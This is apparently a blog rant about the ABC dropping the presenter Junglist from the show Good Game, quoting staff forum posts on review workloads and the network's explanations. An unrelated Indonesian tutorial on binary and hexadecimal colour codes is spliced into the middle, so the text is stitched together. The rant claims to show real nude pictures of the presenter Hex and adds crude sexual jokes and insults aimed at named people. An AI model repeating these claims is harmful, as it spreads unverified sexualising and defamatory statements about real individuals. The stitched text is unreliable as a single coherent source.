“Wed – Game Review day unless the presenters are required for a shoot. Most often not as Rei does most of the “field” reports. Shoot day for Rei and Moe. Office/prep/edit day for Syd, Gog and the rest of the gang.Thurs – Game review/write/capture day for hosts”

 

Ah, 2 review days per week. I see. So what happens when 1 person is reviewing 2 triple-A games in 1 week? It equates to 1 review per day, and the quality of the reviews suffer. Without counting beyond August, 22 of the first 30 weeks this year involved at least 1 person doing more than 1 review in that week. That’s 73% of January through August that reviews suffered due to this schedule. Time management issues, indeed.

Some of those extra games would just be smaller downloadable titles, yet some of them would be AAA, or worse, MMOs, and SOME weeks involved review days being taken up with filming interviews, gags, etc.

As Syd states, everyone’s happy to dig into their own personal time because it’s just games.

But that shouldn’t be a given. When footage capture time is factored into a 10 hour production day, this system promotes only getting 7 or so hours into a game, and certainly doesn’t allow for the necessary reflection time that breeds proper insight.

That’s been my position for the last year, and I believe both parties are guilty here. Myself for not working the way I was asked to, and management for not understanding the medium.

 

Whoa2905i3o32j5o3253258329%J*(@#%J@*(#5. Brain meltdown. So in effect Junglist was right in saying that there was a problem with reviewing games in a single day. How the f- would you review a game in a single day? Especially games like Dragon Age. That game has sucked my life from under me for the past few days. I think we can see the result of this review schedule in the fact that Bajo couldn’t complete his Dragon Age review as a result of the code ‘malfunctioning’. That sounds a little too convenient for my tastes.

An MMO might have to be reviewed in two days? Well sure that would be possible with some of them, since there are alot of cheap generic terrible clones of each other. But you certainly couldn’t review an MMO or an RPG in the same timeframe as say, Call of Duty over 9000. (Whichever one we are at now, I forgot.)

If Junglist has had the position there isn’t enough time to review games then indeed he is guilty of not working the way he was asked to. But what you have to question is whether that decision for the reviews to be so shallow (in such a short space of time, not saying they should be playing 80+ hours a week) came from up above or … the Archdemon Skeleton Lord of a Thousand Firey Dead Souls Born Upon the Acid of a Unicorns Viscera. Also known as the Executive Producer Kath Earle.  The problem is when you have an executive producer that has no idea about the medium then you have a problem. It’s akin to letting a CS player referee the rules of an Age of Empires tournament. There would be utter chaos.

So the Archdemon Skeleton Lord of a Thousand Firey Dead Souls Born Upon the Acid of a Unicorns Viscera (Executive Producer) would seem to be more likely the cause of this Junglist sacking. But then again I don’t know anything you don’t. As said, we can see what has happened so far. It’s been a fucking inferno of stupidity to which several different reasons have been given for his sacking. But none of them even make sense, the one that does is that he wanted to REVIEW GAMES PROPERLY IN A GIVEN TIME. I’ll give another example, it’s not my own. It’s one Jeremy posted on the forums of their average working day. It is in response to a claim Bajo has that ‘clashes’ have only happened once.

“This has only happened to me once this year, with batman and wolfenstien”Actually Baj, it’s happened much more than that to you, as this image will show.

 

 

(HAHA I EDITED YOUR POST JUNG TO REMOVE THE BROKEN LINKS – dowza)This image was made earlier this year to chart the review workload. I post this because you’re misleading your audience. Green is myself, blue is Baj, and yellow is other. 3 units were given to big games such as MMOs, 2 for a triple-A (or equal time), and 1 for a smaller game that required little effort. When made, this image was presented to Syd with no argument.

 

It’s worth noting that it doesn’t take into account any extra work that might have needed to be done during review days, such as interviews. If you’re saying the solution will be a freelance budget, IMO that’s another step away from the people delivering information actually knowing what they’re talking about.

 

Blue and green are terrible colours Jung. Ugh my eyes.

This was presented to Syd with no argument. I’m sure you can read but you probably aren’t reading all of this, more than likely just skimming along it (I know I am, hell I want to get back to the Brothel in Denerim). As said it also doesn’t include extra work like interviews.

This is the review workload. I’m sure you can work out taht the dates are what is going to be reviewed on that day. Now I have no arguments that you can probably review Outrun HD and Virtual Tennis 09 in a short space of time, but by fuck or by duck games like Monkey Island and Call of Juarez are really long games that take far longer than a days play to get the hang of. I’ll let you look at Junglists for yourself since I’ll just be repeating like I usually do.

It seems Junglist definitely wasn’t doing his job. That is if his job was not review games properly and not complain about the process which wouldn’t give a just review of the games being played. It’s worthwhile to note that UNTIL THIS PICTURE they continued to deny that the review schedule was relatively shoddy and relied on ‘home time’ for the scrap of good it would do.

They don’t try to really deny that there was time issues. It just seems Junglist GOT THE SACK as a result of complaining. We feel for you Bajo/Syd/Hex/Gog/etc. Whatever if I forgot you ask me for a drink and I’ll throw it at you (just kidding).

No doubt about it everyone works damned hard on the show and that some/most games take a lot more time to review than other entertainment mediums.All I intended to do here was outline the average production week for the program – not make any value judgments.

 

Syd

 

And that is that. I’m going to open the floodgates of truth rather than set off another truth bomb. Giggidy giggidy gee. More game reviewal process comrades!

“and a question, something with GG is that you give the reviews from 2 perspectives instead of just one, but some of the things said recently are pretty much saying that only one person reviews each game, so how is the other person has an opinion of the game when it sounds like they haven’t played it?”Typically 1 person will write both perspectives and scores for a review. In rare cases there’ll be enough time for the other person to play a bit as well, and write some first impressions. Usually just the 1 writer though, it’s been that way since season 1.

 

 

Now if that has been the way since Season 1, you can understand why I feel a bit cheated. But I suppose they still ’seemed’ reliable until I made this post. I like to convince myself as I write. So what do we have so far? We have Jung saying that he didn’t follow the leader so to speak when it came to how the games should be reviewed. Bear in mind there are time issues (sure) but still. You are attacking Junglists credibility by saying he works badly but then… well. Let us see Syds response. Fuck I’m into the quotes now.

For purely time and practical reasons (we like having more than one game reviewed in each episode) one presenter (or a producer sometimes) takes “carriage” over a review, in other words, the main responsibility for it, playing as much of the game as possible and writing the review script in a draft form.

We then circulate the drafts to each other for reading/comment asap. On a Friday we “read” the scripts in the same room and that was the opportunity for us to change anything anyone disagreed with, add stuff, final thoughts etc.

As all of the team are gamers the discussion about what games we are playing is constant in the office and we all use this to bounce ideas/thoughts around and sharing perspectives.

Not always, but often, once the principle reviewer had finished with the game someone else would give it a play too. We do have the budget to purchase more than one copy if we felt we needed to (ie multi format or if the games multiplayer is a key feature).

It’s common knowledge that Good Game has writers and presenters and producers. The whole team contributes words to the show, it’s the skill of the presenters that they make it their own.

Syd

I’m sorry. I have to reuse something. Maybe it’ll become a meme, then I’ll be rich. Like my idol, Boxxy.

“We then circulate the drafts to each other for reading/comment asap”Hard to comment on a game you haven’t played tho, and…

 

“Not always, but often, once the principle reviewer had finished with the game someone else would give it a play too”

This rarely happens. I can only remember 2-3 times. So yes, it’s pretty much always 1 person writing the whole review, both perspectives and scores. The system is as strong as the reviewer’s ability to put him/herself in another person’s shoes, which is a necessary skill for any reviewer addressing a mainstream audience. For a reviewer that knows the game well, it’s reasonable to assume they can write for both the hardcore and casual perspective.

The bigger problem will come as GG brings in more freelance reviews, as has been announced will happen next year. Then you’ve got both presenters who haven’t played the game.

 

Cortez Cortez, what a killer. I know it’s a tv show, you guys are limited for time. That is fair enough. Having one presenter script the others? Well. It would have been nice if that was told to us rather than you know… led us on to believe otherwise. Freelance reviews? Why not just have the ‘freelance’ reviewer review it on the show? How this makes sense at all… whatever.

The illusion has been shattered ABC. Unfortunately in your handling of this you have tried to attack Jeremys credibility by saying he hasn’t been working properly.

What is the definition of working properly? Well. He was working as a game reviewer thats for sure. But why fire him? He didn’t agree wholly with how the show should be run so he was fired. What is wrong with that in itself? Well you can’t say there is legally. It is their show… but you’d think Uwe Boll was directing the ABC after they continued. What the fuck? Why would you attack his credibility when in actual fact it is your credibility that is being threatened by the dodgy constantly changed excuses, manipulation of the team by spin and mass appeal? You have created an infernal of … infernals in an attempt to try to blind people to your bad decision and it has exploded in your face.

With every single little bit of ‘truth’ that comes out someone who watches GG will switch off really. The handling of this as I’ve said and repeated like killing scags in Borderlands. Time to end that rant and continue into another.

The blooddrenched execution continues. (Cannibal Corpse reference #4)

I bring you back to something I didn’t notice earlier from our favourite poster Gog (I’m not being sarcastic.)

Thanks Secret, I appreciate the hug

I’ve definitely been trying to stay away from the forums, it’s really really hard to see you all clamor for answers and misinterpret the events and not be able to set the record straight for you, it breaks my heart really.

This whole situation is tough enough on everyone concerned as it is, but especially you guys who have been such loyal and dedicated fans over the years who just want a simple explanation and just have to deal with a brick wall response which is absolutely not how we’ve ever run the Good Ship Good Game. The problem here is that there just isn’t any simple answers to give to you, it’s not that there’s some giant conspiracy on anyone’s behalf, it’s just such a minefield in so many ways, even just talking about it now, without even going into any kind of specifics makes me feel uneasy and like I’m going to say something I’ll regret. In fact I kind of regret saying that even, I just really don’t even want to talk about it and just move on with making the best damn gaming show we can.

So I figured the best thing is to just stay away for a bit lest I say something that’ll make it all worse, not to mention it’ll help me to keep my own sanity. There’s only so many posts you can read claiming your show is now “untrustworthy”, “MTV rubbish” or “Cybershack” before you start to go a bit mental.

Anyway, I hope nothing I said there will make anything worse, but it seems like anything we do at the moment is grounds for complaints from you guys, I get the feeling people will even complain about me saying that, I can hear it now “Of course we’re complaining, they took his jooooooob!!!”. So when things calm down I’ll start posting more again.

At the end of the day tho, I’m really happy and excited for the show and life in general as you all should be. Yeah that excitement is laced with some anxiety and a wish to clear the air but we have a new show next year and an amazing new host on the team, and who knows, maybe we’ve got some less controversial surprises* up our sleeves for the future (note*: I have NFI if we do have any less controversial surprises next year, but I’m pretty sure any surprise will be less controversial.)

Note the date. I’m glad he acknowleges it as a brick wall response. I don’t agree with simple answers, because there are simple answers. You just can’t give them in your current position without jeopardising. It’s funny I’m complaining after he said he hopes will make worse… thats not a sentence. But whatever.

What is important is that the team can’t say what they wish to. Gogs post before was edited. Now he says no simple answers, which more than likely means they would be getting into trouble. (Ie: a minefield!) It also explains why the team aren’t posting. Don’t want to take a wrong step. You’ll be sent to the Gulag!

Heres another.

“but I feel you are true “

Well…I’ve never said a lie to you guys…

And I’m glad you don’t hold anything against me especially seeing as I’ve done nothing but work my butt off to help make the best damn TV show I could with the best team of gamers around…

Look, it’s a really terrible thing what’s happened….things have gone down this past week about as smoothly as the Titanic’s maiden voyage and I don’t blame you all for being angry…

I mean, loosing Jung is a tough proposition at the best of times, but woah…the way it happened? Absolute shambles. To put it lightly. But could it have been handled better? Hmmm…You’d think so but all things considered it went down how it went down.

Admittedly, it’s like we just gave you guys the middle finger and said “whatever”. Very incongruous for us as someone so rightly put it. We’ve always kept you guys in the loop and made you an integral part of the show…and since this past week where we’ve left you all in the dark during what is no doubt the most controversial week of the shows life you’re all now left wondering not only if you trust us anymore but if you even like us, a lot of you have jumped to the gut reaction which is to just give us the middle finger right back.

It really wrenches my gut. Because frankly, we don’t deserve it. What happened was out of all of our control and against everyone’s wishes, and the only reasons for our silence are legal (although admittedly it was hard to keep up with all the scorn being poured upon us, kinda de-motivates you to post much, guess I needed that hug ). Yet, as that rather carefully worded post pointed out, the team does support the decision, so try to think about what that all means.

But just to make sure you’re really confused on a personal level I’d like to say that while I support the decision I still want Junglist to be a major part of team GG, he’s a good friend and if you guys feel you’ve lost a friend out of all of this imagine how great I’m feeling about it.

Make of all that what you will.

I’ll make of it what I will haha.  It’s self explanatory except for this part which just proves my point that it was not THEIR decision as a team despite what they’d want to throw out with their ‘team statement’ bullshit.

It really wrenches my gut. Because frankly, we don’t deserve it. What happened was out of all of our control and against everyone’s wishes, and the only reasons for our silence are legal (although admittedly it was hard to keep up with all the scorn being poured upon us, kinda de-motivates you to post much, guess I needed that hug ). Yet, as that rather carefully worded post pointed out, the team does support the decision, so try to think about what that all means.
But just to make sure you’re really confused on a personal level I’d like to say that while I support the decision I still want Junglist to be a major part of team GG, he’s a good friend and if you guys feel you’ve lost a friend out of all of this imagine how great I’m feeling about it.

Just in case you missed it heres a picture of it.

Terror rains drenchin, quenchin the thirst of the power dons.

And heres that same exact picture accompanied by nudes of Hex. These are real, featuring her playing Wii Sports with no clothes on.

Hot.

TheGog probably doesn’t get his posts forcibly checked by the legal team like Syd and Bajo would have, this explains his own little truth machetes. THE DECISION WAS OUT OF THEIR CONTROL AND AGAINST EVERYONES WISHES. Except those higher than the team that work on the show. Who does that not include, who doesn’t work on the show directly? Thats right.

The Archdemon Skeleton Lord of a Thousand Firey Dead Souls Born Upon the Acid of a Unicorns Viscera Executive Producer who doesn’t know a thing about reviewing but works on the show regardless, coupled with Archlock Duthie of the Sundered Lands of Misogyny who like to make decisions for mass appeal.

Yet, as that rather carefully worded post pointed out, the team does support the decision, so try to think about what that all means.

I think this too speaks for itself. It is indeed a carefully worded post which was obviously manipulated as Orwell would say to give the appearance of solidity to wind. The team supports the decision as I’ve said because if they didn’t Good Game would be getting alot more than a new host.

But just to make sure you’re really confused on a personal level I’d like to say that while I support the decision I still want Junglist to be a major part of team GG, he’s a good friend and if you guys feel you’ve lost a friend out of all of this imagine how great I’m feeling about it.

Just shows you how ’solid’ the team statement is. I’m surprised this post didn’t get edited because it clearly shows dissension amongst the ranks and reeks of a team who do as they are told rather than how they actually feel. But I’m done on that.
It’s fairly clear the teams statement was more than likely written by someone that isn’t a part of the team that work on the show. Do I have any proof of that? Not really. But it is easy to tell that things are not all as they seem in the sleepy hollow. Especially with the little nuggets of truth mined from Gogs old posts. Why would he say the statement was cleverly worded? It indeed was. But worded by whom?

Attacking Junglists credibility as a reviewer because he simply disagreed with the reviewing processes and probably complained is totally out of order and resulted in what I’d call an explosion of angst amongst the geek communitys. I personally eagerly await until Jungs contract is expired at the end of November. I also eagerly await meeting the team on December 6th, along with my mate. If you are there on the Sunday at GCAP don’t hesitate to say hi. Don’t punch me though, that’d result in an angry rant on here about what a jerk you are. It’d destroy you. (Sarcasm.) But still, while it has slowed there are still so many questions.

And so little time.

Oh, third time lucky.

PS: I’m not going L4D2 boycott style, unless they offer me millions of dollars and a condo. And brazillian maids. Then you guys can go f*ck yourselves.

PS#2: It’s not Easter.

Apalagi ‘nih, kemarin posting ‘Satu-Nol-Satu-Nol’ = “10″ (sepuluh), sekarang ‘Satu-Nol-Satu-Nol’ = “A”. Yang benar mana? Keduanya benar, sistemnya yang berbeda. Bilangan biner cuma sederetan 0 dan 1 saja, ribet buat manusia. Biarlah komputer saja yang mengingat, … memang bahasanya.

Nibble & heksadesimal

Penasaran, bagaimana pun ada saat kita perlu melacak deretan 0 dan 1 tersebut. Mari kita bedah. Masih ingat tabel 4-bit (“Kotak-2“)? Satuan data 4-bit (separuh byte ) disebut nibble. Kita ingin notasi bilangan biner nibble yang 16 buah itu dinyatakan hanya oleh 1 (satu) digit saja,

Horee… kita sekarang punya sistem bilangan baru, namanya heksaadesimal (heksa, hexa = 6, desimal = 10, total 16). Benar, “satu-nol-satu-nol” itu adalah “A”! Mencacah dengan heksadesimal jadinya seperti ini, #0, #1, #2, #3, #4, … #8, #9, #A, #B, #C, #D, #E, #F.  Simbol “pagar” ‘#’  dipakai sebagai notasi heksa (atau hex, disingkat) untuk membedakan dengan sistem desimal.

Kalau pencacahan dilanjutkan akan seperti ini #F, #10, #11, #12, … , #1E, #1F, #20, #21, …,  #2E, #2F, #30, #31, … #FF, #100, #101 … dan seterusnya. Bobot digit dalam bilangan heksa sekarang adalah 16^o (satu-an). 16¹ (enambelasan-an), 16² (dua ratus lima puluh enam-an), 16³, 16⁴, …  .

Kita sudah sepakat menggunakan satuan byte (2 buah nibble) untuk data. Kita tahu dalam satu byte ada 256 bilangan (termasuk 0) dengan nilai tertinggi  #FF (heksa) atau 255 (desimal). Berhitung cepat, “F” x 16 (bobot digit kiri, 16¹) + “F” x 1 (bobot digit kanan, 16^o) = 15 x 16 + 15 x 1 = 255. Contoh lain, #AE = 10 x 16 + 14 x 1 = 174, #EA = 14 x 16 + 10 x 1 = 234. (Dalam biner, #AE = 1010 1110, #EA = 1110 1010.)

Ringkasan

Byte adalah satuan data 8-bit atau 2 nibble; byte dinyatakan dengan notasi heksa 0-F yang diturunkan dari nibble (4-bit). Untuk mencegah kekeliruan dengan sistem desimal bilangan byte menggunakan notasi heksa membubuhkan awalan “#”. Bilangan dasar pembobotan adalah 16.

Contoh penerapan heksa

Warna. Warna yang kita lihat di layar komputer dibangun oleh kombinasi dari 3  warna dasar, R-G-B (red, green, blue) atau merah, hijau, biru). Dengan mengatur “campuran” R-G-B dan intensitas (terang) cahaya tertentu, dihasilkan sebuah warna yang unik. Teknologi sekarang sanggup menghasilkan spektrum warna hingga milyaran!

Terlalu banyak, mata kita terbatas. Kalau gradasi setiap elemen R-G-B dapat dibagi menjadi 256 tingkatan saja, total warna yang dihasilkan sudah 16 juta warna lebih. True color!

Ini sudah cukup, tak perlu milyar. Gradasi atau tingkatan warna disebut kedalaman warna (color depth). Jadi 256 kedalaman warna masing-masing dapat diwakili oleh R = 1 byte, G = 1 byte, dan B = 1 byte. Total 3 byte atau 24-bit. Hasil kombinasi tingkat kedalaman ketiga warna dasar akan menentukan sebuah warna. Contoh kode heksa untuk 16 warna adalah seperti ini,

Identitas warna bersangkutan dihasilkan oleh nilai kedalaman R-G-B (berurutan). Gampang, ya. Membuat binernya juga mudah tapi desimalnya? Susah, boleh coba. (Triknya ada di akhir artikel ini.)

Eksperimen

Satu program kecil menarik “Color Wheel“, dapat membantu kita  menentukan nomor heksa (dan desimal).

Selamat berakhir pekan…

(Untuk mengubah dari/ke biner, dari/ke desimal, dari/ke heksa, buka kalkulator (Windows) dan operasikan dalam mode [View] [Scientific]. Di sana ada pilihan konversi sistem bilangan.)

Hello again. I’ll get rid of the ‘whoa oa oa oa oa’ I usually begin with because nobody knew what that meant. And nobody even knew what the sound I was referring to was, so it’s gone. Sorry if you liked it but I want to appeal to the masses to gain a bigger audience. “Whoa oa oa oa oa” doesn’t appeal to a major audience, so now I’ll be using the catchphrase “Bogus!” instead. The ABCs handling of this has been pretty ‘bogus’. It fits the square it’s alotted into.

What has happened? Well. It has been in the news, the GG team has taken cover in their underground bunker, the ABC have turned on their PR machine. The community (mostly) is really angry at Junglists forced departure mid season which even lead to so many posts the forums were down periodically across the past week. People are pretty mad, but there isn’t going to be any closure on this for anyone. The ABC are going to ride it through the last few weeks of the show. And they’ll pray. Pray that people forget. But back to bogus.

Heres a picture so you understand my usage of the word.

You know it's bad when Bill and Ted are outraged.

We meet again. The sky is dark and the rain is coming down, I wipe the sweat from my brow and… lets not turn this into a Stephen King novel. As time permits I have allowed myself to add yet another part to the exciting saga that is…

The ABC axing Junglist from Good Game – For Dummies

Don’t worry I’m not going to George Lucas it up and start replacing the actors after the first parts have been released using CGI technology. That really got me angry watching the ‘enhanced’ version of Return of the Jedi to find out Hayden Christensen had usurped his way onto my TV screen. Stop ruining my memories damnit. But don’t worry, all the old gang are here, including our old mate Janet Carr (Syd!)

This could easily degenerate into a he said she said we said….. none of us were in that meeting after all… BUT the GG team is here with me in the office right now..

Jung mate, I’m sorry to say it but you are wrong… no one on the team feels we have to tow the party line here – no one has been coerced into doing or saying anything they don’t want to. Sure we didn’t all find out till you did - but that does not mean we don’t feel it’s the right thing to do for the show. That’s the truth we need to swallow here… as bitter a taste as it might leave in our mouths.

Regardless of what Jung might say GG will NOT be dumbed down and I state again, the decision was nothing to do with bringing in a girl… FFS – I’m a girl and I started this show – I don’t care about the gender of the presenters – I just care about having the best ppl working on it.

Guys.. I totally acknowledge Jungs contribution to GG – and yeah I can see how it feels like we’ve stabbed a mate – and what’s the Aussie thing to do? Stand up for a mate in a fight right? But this show is more than just one person – is and always has been.
GG has been my life for the last nearly four years… why on earth would I want anything to hurt it?

Syd

Taking a reread of this again leads me to rethink my original post of “I’m not even going to address this one. It’s just a huge finger to the audience who watches the show and dismisses any real reasons people have to complain.” Reading something over gives you a sort of satisfaction. But noticing a few things does too as well. Mainly the parts in bold. Nobody has been coerced? I bring you back to this picture. It’s totally bogus.

Quick, edit that before they realise we are trying to decieve!

I suppose it depends on your opinion of coerced and coercion. Being the type that would likely be misquoted I decided to go straight to the experts. So here it is straight from dictionary.com .

co⋅er⋅cion

koʊˈɜrʃən/  [koh-ur-shuhn]–noun

Is editing someones post coercion? Well from this standpoint no not directly. But why was it changed? Likely because it spoke the truth. After all, it wouldn’t be changed because TheGog was lying about it. That would make no sense at all. Not even in a Tim Burton movie.

Well if you are forcing compliance then that would surely count as coercion. They forced him to change his post because he didn’t tow the line. They after all released a statement that they support it as a team. TheGog wouldn’t be towing the line if he said that they were worried from behind the scenes by the ABCs decision which came from above.

I’ll quote from that post again, like a sort of rabid rottweiler. I always liked dissecting dead frogs in high school.

none of us were in that meeting after all…

Ah okay. So you weren’t in an important discussion meeting about the show that YOU helped create with the assistance of Jeremy? No wonder people are being distrustful of the ABC. You don’t even know whats going on! Or do you? There hadn’t been an official reason given still at this current time so the question remains. If you also were not in the meeting then HOW THE HELL are you able to tell the community to calm down down? Oh wait.

Sure we didn’t all find out till you did - but that does not mean we don’t feel it’s the right thing to do for the show. That’s the truth we need to swallow here… as bitter a taste as it might leave in our mouths.

‘Sure we didn’t all find out till you did’ ????????????? Wait. So they didn’t even inform most of the staff that work on the show that you guys were going to replace a host mid season with a rather attractive sassy young female? I can see why, it makes no sense and likely any discussion of the show would probably have been shut down from within. After all you guys are editing posts that don’t fit the party line. It’s the ‘right thing to do’ for your jobs as I see it, if they fire Jeremy mid season they are capable of anything.

Regardless of what Jung might say GG will NOT be dumbed down and I state again, the decision was nothing to do with bringing in a girl… FFS – I’m a girl and I started this show – I don’t care about the gender of the presenters – I just care about having the best ppl working on it.

I’m glad I’m not very religious because I’d be amazed at seeing this miracle. You were not in the meeting. Most of the team were not informed of the decision as you said. Yet you say the decision has nothing to do with bringing in a girl? Sounds like you have as much control over your show as NASA does over the temperature of the sun. You do realise that clashes with what Jeremy said. I think they did realise thats what Jeremy said. What did he say again? Ah. Mass appeal. The ONLY reason given to him in his meeting where they told him he was going to be thrown out. I was born at night ABC, not last night.

But why is that relevant at all? Well. Again I’m going to dig something up. Performance issues. I didn’t really address this properly either. I’ll expand on the tale.

The ABC has lost the trust of many of the GG viewers, it had to do something. Jeremy saying it was ‘gender bias’ as well as done for ‘mass appeal’ was severely hurting the shows credibility and the fact that the GG team could not talk due to ‘legal issues’ was also hurting in itself. When somebody has more credibility than you and you are hurting, you have to damage theirs or you’ll look like a murderer in comparison. Confusion is the ABCs best weapon and by fuck they know how to use it. When you say someone has had performance issues the wording is ambiguous enough that it damages Jeremys public look. It makes it sound a little more insidious. After all, the majority of the community again (shown by the sheer amount of traffic the forum has undergone) didn’t get to see much of the work behind the scenes. But the ABC throws that out there anyway, how could we possibly dismiss it! It’s certainly an attack on the credibility of someone who worked on the show since it’s inception. I’m not going to debate whether it’s true or not I have no way of knowing that. I’ll just comment that it’s a low blow on the ABCs part and more than likely breaks the ‘legal issues’ the others have been dancing around.

Don’t the ABC know that people in glass houses don’t throw stones?

Quick, attack his credibility!

GG has been my life for the last nearly four years… why on earth would I want anything to hurt it?

The way you word the post makes it seem you had no input on the decision at all. Whether thats true or not is irrelevant, that is how it is interpreted. If you wanted to be clear then you could have said “I’m Syd. I decided that it was a good idea to fire Jeremy mid season with no explanation at all. We will also get mad when he exposes some bad truths and release that it was performance issues. ” Those are words that everybody can understand. You’d be making my job here a LOT easier too. Think of me sometime too when you decide to be so ambiguous.

The post above is a response to Junglists ‘truth bomb’ which I talk about in part 1. But heres a little expansion. Think of it as a DLC you don’t have to pay for.

“GG has been my life for the last nearly four years… why on earth would I want anything to hurt it?”I completely believe that you have the best of intentions, Syd. It’s you that holds this show together. And I likewise believe you when you say it has nothing to do with bringing in a girl.But it’s not up to you, is it? This change comes from higher up.As I said, I’ve spoken to team members who contradict what you say about “supporting the ABC’s decision”, so this is damage control, pure & simple.

 

What possible truth bomb COULD they drop? Well lets see. They could admit to editing their own posts, the decision not being theirs, forced compliance to the decision by the ABC and admitting that they have no real control over their own show if Jeremy can be dropped mid season. My god. They could drop a nuke. On themselves.

He has disagreed with the ABC on reviewing policies? That is quoted again in many of the news articles. One of the quotes went along the lines of “they wanted a game reviewed and done in a working day”. How does that give any sort of real game justice? An RPG or an MMO (which are VERY popular gaming genres amongst people that play) would take way longer than a working day. You are hurting the credibility of your show if this is the case. (Note: Bajo posted saying that he was never forced to do it in 24 hours, just that there were deadlines. He did not exactly state the deadlines but did say that he often gets more time than a day to review a game.)

If you disagree with the ABC it seems you will get kicked in the nuts by them eventually.

“I can’t stress enough to scrub ‘mass appeal’ from your minds.”That’s because “mass appeal” is the truth. You’re asking for a lot of trust in that statement when trust is clearly an issue right now. I actually believe that you believe what you’re saying, but you weren’t the one who talked to upper management for 30 minutes about their new mass appeal plan.”Yes there is some change obviously, but not to the content”Explain then why I’m only contributing 1 token review a week? And quite possibly those reviews won’t even make it into the show? A proven reviewer over 3 years has been replaced with a less experienced one. The content HAS changed, already.

As ever Baj it seems like you couldn’t wait to just get on with things…fair enough if you don’t care about this whole thing, but asking everyone to just forget about it by promising fruit hats and horse heads is insulting peoples’ intelligence.

For my part, I’ve been honest about my own weaknesses in my role. There is no more “we can’t say anything”. I’ve said it. So have at me bro, if that’s what you feel like.

“You’re asking for a lot of trust in that statement” damn right Syd is. There have been posts edited, conflicting stories and low blows. I think that those that still trust the ABC  after this probably are oblivious to what is going on. Upper management are referenced again, Syd really should watch out for that. One could get the feeling she has no actual power over her own show as it were. Well she has the power to make ambiguous forum posts surely that counts for something. Well not really, you are about as legitimate as Fox News to most  of us now. There HAS been a change to the content as Jeremy said, you just removed the hardcore gamer mid-season.

Most important is “we can’t say anything”. Jeremy has said alot. If they TRULY felt that they still could not talk about the real reasons for his axing (As said, mass appeal) then they would state it. But instead they attack his credibility so that one will dismiss whatever he says outright. Or they could sue him for dropping a truth bomb. Of course that would look bad on them and be thrown out due to their own handling of the matter and their own ‘truth bombs’. (Albeit dropped onto themselves.)
It’s quite amusing that the ABC still wouldn’t hold up a truthful reason for his expulsion other than that which couldn’t even float in the Red Sea. Thats the one full of so much salt even Amanda Vanstone (sp?) could walk on water. Trust is gone with the ABC and the team dig their holes deeper and deeper as time goes on. No vote taken, no consensus just compounds the fact that it was a decision from up above who thought it was the right way to go. Even though the show was at the peak of it’s popularity.

But whats that? Lets check out the rating now. (Taken from TVTonight)

David Knox says:

November 3, 2009 at 3:47 pm

I believe Good Game was 44,000 on ABC2 down from 47,000 last week.

Ahh okay so those are the two Hex episodes. 44000 and 47000. What were the ratings before that? Oh fuck, they’ve lost over 20,000 viewers! I wonder why. Could it be that we didn’t want to eat our meat so we couldn’t have any pudding? Don’t give me that “They got downloaded!!!” bullshit. People aren’t going to download the episode on their computers to watch later. Well maybe some would. They’d be watching with a jar of vaseline and their pants down though.

The main point is the show was a show for gamers by gamers. Right now, that decision shows that the real decisions aren’t in the hands of those that run the show ‘by gamers’ at all. The catchcall itself is a lie. For gamers, by what ABC believes should be for mass appeal would be a far less ambiguous title for the show.

I suppose thats why we haven’t heard from anyone on the issue on the forums. Maybe if they wish hard enough it’ll go away.

I'm sorry Hex, I had to.

It’s important to realise that attacks on Jeremys credibility are coming way too late for them to have a semblance of truth. If his performance was the issue THAT would have come with the press release. But instead the press release danced around it and merely introduced the new host. They did not even begin with this ‘performance issue’ until it was far far far too late for it to work. Kinda like breaking into a room after the SWAT teams already rescued the hostages and then shooting the dead bodies of the terrorists.

What is even MORE important is that the ABCs damage control has led to Hex being targeted by angry geeks (not myself, when have I criticised directly?) in a series of fairly sexist comments etc etc. It’s horrible that Jungs gone, but she is a god damn person who merely took an ‘awesome job’ as Jung put it. Good to see they’d rather let a poor girl take all the flak than admit their own mistakes.

Wait, a semblance of an admin! I’ma go a bit offtopic now, so feel free to scroll over the next few pictures to the end. I’m a petty sort of guy.

I imagine the first response was a little testy.

And yes, the timestamps are 3 minutes difference. It could be simple, or something sidious! I mean insidious. God damn Star Wars. But watch out, Adam Fitzgerald is on the loose. Hes got a way with words this guy. Because I just got back from a friends about an hour before I started posting all this stuff I’ll waste fresh air time on Adam for a second.  Cheers for giving me the screenshots. Oh yeah, Rikku cosplay is hawt and worthwhile according to Adam yet we are wasting our time being pissed off. Just because I’m not doing something you can jerk off to doesn’t mean I’m wasting my time. Some people are genuinely feeling cheesed off yaknow?

Don't mess with this guy. Hes the big man of the internets!

I’ll debate how I spend my time with myself thanks, as long as you continue to respond then it is forcing you to voice your thoughts which is what we need. In the meantime ya’ll should continue to invite people to the Facebook group. Oh, before you give the usual “grrr gamer stereotype” take a look at the group man. It’s far from your stereotype, maybe you live in the 80s. But rant over, I apologise for wasting your time in the past few minutes.

Oh check out the links at the side too.

Oh and don’t watch Good Game. Not because of the whole axing saga, but because it was terrible both times. If this was a pilot it’d be axed, Bajo looked like he had come off the beaches of Normandy and Hex looked like she had come off a night crying over Livejournal (I’m not going to post that picture, Hex isn’t the one in the wrong here I’m just commenting in a harsh and unfair manner like they have towards Jung). The review of Borderlands must have shown they didn’t research it at all and I don’t recall them mentioning it was on the console. Nor the coop issues. I imagine they played LAN, but it still works to actually look at the game as a whole. For Christ sakes. Wii Golf after arguing that the show won’t be dumbed down?

Oh and to those that don’t know Junglist has been there since the beginning, so don’t give me that ‘he auditioned’ line.

Ugh. Kill me now. Not you though Adam, you are obviously too busy to worry about such things. Bogus. Personally I’m sick of them telling us they know everything and then saying ’seeya’.

- Adrian (Dowza)

Contact details are on the about page. There you can send me hate mail. Keep in mind more than 3 emails from the same IP address will trigger spam filter, so just watch out. The FB group is somewhere. You’ll find it.